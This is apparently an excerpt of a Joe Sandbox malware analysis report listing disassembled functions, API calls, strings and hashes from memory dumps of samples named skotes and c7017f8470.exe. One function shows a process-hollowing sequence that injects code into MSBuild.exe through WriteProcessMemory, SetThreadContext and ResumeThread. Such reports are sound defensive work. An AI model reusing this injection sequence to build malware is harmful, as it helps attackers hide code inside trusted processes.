Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: es
API String ID: 1078844751-901196792
Opcode ID: a5bf7879eba3cb30681ef82c521e8fe84b95cf6c8bc543124b9eb10cf3e7e4cb
Instruction ID: 62a6181be2934dfc14a60d893715825adde18be2017cda1744e3c6c4997ee450
Opcode Fuzzy Hash: a5bf7879eba3cb30681ef82c521e8fe84b95cf6c8bc543124b9eb10cf3e7e4cb
Instruction Fuzzy Hash: 35F0D476901269ABCF235F90EC058AE7F66FF18B60B048015FD0966130C7B69C61EFD5

Function 0073B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0073B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0073B961

Strings

pContext, xrefs: 0073B959

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 937304ef7e440e276d6dd080602b5e000b7f3b25fe9823e91a277100c6650ce2
Instruction ID: 5fd74f7b908a2e1cc3929688ed72f5e6d4e7475169e41ad114d2e14476e5eb5a
Opcode Fuzzy Hash: 937304ef7e440e276d6dd080602b5e000b7f3b25fe9823e91a277100c6650ce2
Instruction Fuzzy Hash: 32E09B79B00214D7CB04B764D85DD5DB7799F847107144115E916A3251DB78AA05C9D4

Function 007334CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007334FC

Strings

pScheduler, xrefs: 007334F4
version, xrefs: 007334E1

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 32f35c02db6715fd7c1ea01299b1e2317a9396c03142108629305b73860b87e6
Instruction ID: b9bb7ca936dcf2967c9f8944f94cdb91373c5888624987cbc68ac63b42cc3fe4
Opcode Fuzzy Hash: 32f35c02db6715fd7c1ea01299b1e2317a9396c03142108629305b73860b87e6
Instruction Fuzzy Hash: 8FE04668840248FADB36AB54D84FAEC77689B10709F58C122BC12220939BBC9798DA91

Analysis Process: c7017f8470.exePID: 4956, Parent PID: 8108COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	1.4%
Total number of Nodes:	1392
Total number of Limit Nodes:	17

Executed Functions

Function 00A3E1A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A3E11B,00A3E10B), ref: 00A3E33F
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00A3E352
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 00A3E370
ReadProcessMemory.KERNELBASE(000001A0,?,00A3E15F,00000004,00000000), ref: 00A3E394
VirtualAllocEx.KERNELBASE(000001A0,?,?,00003000,00000040), ref: 00A3E3BF
WriteProcessMemory.KERNELBASE(000001A0,00000000,?,?,00000000,?), ref: 00A3E417
WriteProcessMemory.KERNELBASE(000001A0,00400000,?,?,00000000,?,00000028), ref: 00A3E462
WriteProcessMemory.KERNELBASE(000001A0,?,?,00000004,00000000), ref: 00A3E4A0
Wow64SetThreadContext.KERNEL32(00000098,006C0000), ref: 00A3E4DC
ResumeThread.KERNELBASE(00000098), ref: 00A3E4EB

Strings

WriteProcessMemory, xrefs: 00A3E2BA
CreateProcessW, xrefs: 00A3E25B
ress, xrefs: 00A3E231
aryA, xrefs: 00A3E1ED
ResumeThread, xrefs: 00A3E2E3
ReadProcessMemory, xrefs: 00A3E294
SetThreadContext, xrefs: 00A3E2CD
GetP, xrefs: 00A3E229
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00A3E33E
VirtualAllocEx, xrefs: 00A3E2A7
GetThreadContext, xrefs: 00A3E281
Load, xrefs: 00A3E1E5
VirtualAlloc, xrefs: 00A3E26E
TerminateProcess, xrefs: 00A3E3CE

Memory Dump Source

Source File: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 3b5e37b813355289705fbe7343d02f8dd1e98eb2a174c5c960a17fab0f46ba2b
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 59B1E67660064AAFDB60CF68CC80BDA73A5FF88714F158524FA08AB341D774FA51CB94

Function 00A217D0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A21000: _strlen.LIBCMT ref: 00A2108D

CreateFileA.KERNELBASE ref: 00A2184C
GetFileSize.KERNEL32(00000000,00000000), ref: 00A2185C
ReadFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00A21885
CloseHandle.KERNELBASE(00000000), ref: 00A21895
_strlen.LIBCMT ref: 00A218F7
CloseHandle.KERNEL32(00000000), ref: 00A21B20
CloseHandle.KERNEL32(00000000), ref: 00A21B35

Strings

(, xrefs: 00A218D0

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CloseFileHandle$_strlen$CreateReadSize
String ID: (
API String ID: 2150716653-3887548279
Opcode ID: 901c9031ea54df15742f786e05efb107b998ccf9dca09fc62196958b7e0fda37
Instruction ID: 2a0419581066b998187b565f7f67e4ce3c046acfdf10befae45f154274e0a586
Opcode Fuzzy Hash: 901c9031ea54df15742f786e05efb107b998ccf9dca09fc62196958b7e0fda37
Instruction Fuzzy Hash: 59A10272D002249BCB14DFBCED85AAEBBB6BF5A350F141639E801BB351E73499418B94

Function 00A21D30 Relevance: 18.2, APIs: 12, Instructions: 176
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A21D63
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00A21D76

Part of subcall function 00A2234A: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00A22E92
Part of subcall function 00A2234A: ___raise_securityfailure.LIBCMT ref: 00A22F7A

GetCurrentThreadId.KERNEL32 ref: 00A21DFA

Part of subcall function 00A22E15: WaitForSingleObjectEx.KERNEL32(00A217D0,000000FF,00000000,?,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E21
Part of subcall function 00A22E15: GetExitCodeThread.KERNEL32(00A217D0,00000000,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E3A
Part of subcall function 00A22E15: CloseHandle.KERNEL32(00A217D0,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E4C

Part of subcall function 00A26F9F: CreateThread.KERNELBASE(00000000,00000000,Function_000070B7,00000000,00000000,00000000), ref: 00A26FE8
Part of subcall function 00A26F9F: GetLastError.KERNEL32(?,?,?,?,00A21DD3,00000000,00000000), ref: 00A26FF4
Part of subcall function 00A26F9F: __dosmaperr.LIBCMT ref: 00A26FFB

GetCurrentThreadId.KERNEL32 ref: 00A21E95
std::_Throw_Cpp_error.LIBCPMT ref: 00A21EED
std::_Throw_Cpp_error.LIBCPMT ref: 00A21EFF
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F0E
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F1D
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F2C
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F3E
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F50
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F62

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CurrentHandleModule$CloseCodeCreateErrorExitFeatureFileLastNameObjectPresentProcessorSingleWait___raise_securityfailure__dosmaperr
String ID:
API String ID: 610485761-0
Opcode ID: a77f19999641944d75c99ad5bd70e807e68770c6b6eb91691845c24f1ca897d9
Instruction ID: d73ba3ec31c2b39326fc19005b7a96b340742199d9dbbd272171ff1404e28372
Opcode Fuzzy Hash: a77f19999641944d75c99ad5bd70e807e68770c6b6eb91691845c24f1ca897d9
Instruction Fuzzy Hash: 1251A5B1D41229ABEB10DFA8ED06BDEBAB0AF15710F041278F914772C1E7B56904CBA5

Function 00A29BBE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,0BA9D0CA,?,00A29CCD,?,?,00000000), ref: 00A29C7F

Strings

api-ms-, xrefs: 00A29C15
ext-ms-, xrefs: 00A29C29

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 596109364d5fa27af61b0795f91fd0d67bf8b034e1ac2220f63c8c745e83a7f8
Instruction ID: b50bb7ec0621e775007129bb736e5f9b94e97a7bc021b1cb3c1722b9883f1877
Opcode Fuzzy Hash: 596109364d5fa27af61b0795f91fd0d67bf8b034e1ac2220f63c8c745e83a7f8
Instruction Fuzzy Hash: 0421E732A40234AFD721DB68FC41A5B37A9AB41BB1F240130F906B7290D730ED01C6D0

Function 00A213F0 Relevance: 4.6, APIs: 3, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoResumeClassObjects.OLE32 ref: 00A2150E
KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00A21521
GetLastError.KERNEL32 ref: 00A21583

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ClassDispatcherErrorExceptionLastObjectsResumeUser
String ID:
API String ID: 3099690820-0
Opcode ID: b2a95a7cabad7dd5f27c6639555f6a7f8eb1dead7f4483d9b5aada21689c088b
Instruction ID: 1204b5594c0ca8a0a7cd07cce554b02cf1668c4d4520b7039caa58062d67c70b
Opcode Fuzzy Hash: b2a95a7cabad7dd5f27c6639555f6a7f8eb1dead7f4483d9b5aada21689c088b
Instruction Fuzzy Hash: 1E516D708052A88BDF01CFA8E8457EEBFB0BF1A314F1441BAE845B3281C3795A05CFA5

Function 00A21710 Relevance: 4.6, APIs: 3, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A21000: _strlen.LIBCMT ref: 00A2108D

FreeConsole.KERNELBASE ref: 00A21741

Part of subcall function 00A213F0: CoResumeClassObjects.OLE32 ref: 00A2150E
Part of subcall function 00A213F0: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00A21521

VirtualProtect.KERNELBASE(00A3E01C,00000549,00000040,?), ref: 00A21790
ExitProcess.KERNEL32 ref: 00A217C6

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ClassConsoleDispatcherExceptionExitFreeObjectsProcessProtectResumeUserVirtual_strlen
String ID:
API String ID: 3360678313-0
Opcode ID: f3f643fe6b921da40d883588aeffd991a2bf2f4d698e561011ec1435bfe4278f
Instruction ID: 4165411d070eb547c31ffdcfe611c4fd22bd95b7406afe52eae5a7b69fc97efa
Opcode Fuzzy Hash: f3f643fe6b921da40d883588aeffd991a2bf2f4d698e561011ec1435bfe4278f
Instruction Fuzzy Hash: BE11C675E40114BBEB04EBA8AD03FAE7765EB91701F444434F509BB2C2EAB1A91187D1

Function 00A26F9F Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000070B7,00000000,00000000,00000000), ref: 00A26FE8
GetLastError.KERNEL32(?,?,?,?,00A21DD3,00000000,00000000), ref: 00A26FF4
__dosmaperr.LIBCMT ref: 00A26FFB

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 5a0fa57b430e993074eec2f67f4d345117f12aaa89d97df4bc816d5565ae9cca
Instruction ID: 74e9275ca6d0f32ff1d3bfc0e38bf59a07d58f00f18d216f2d9e2c92200c5a94
Opcode Fuzzy Hash: 5a0fa57b430e993074eec2f67f4d345117f12aaa89d97df4bc816d5565ae9cca
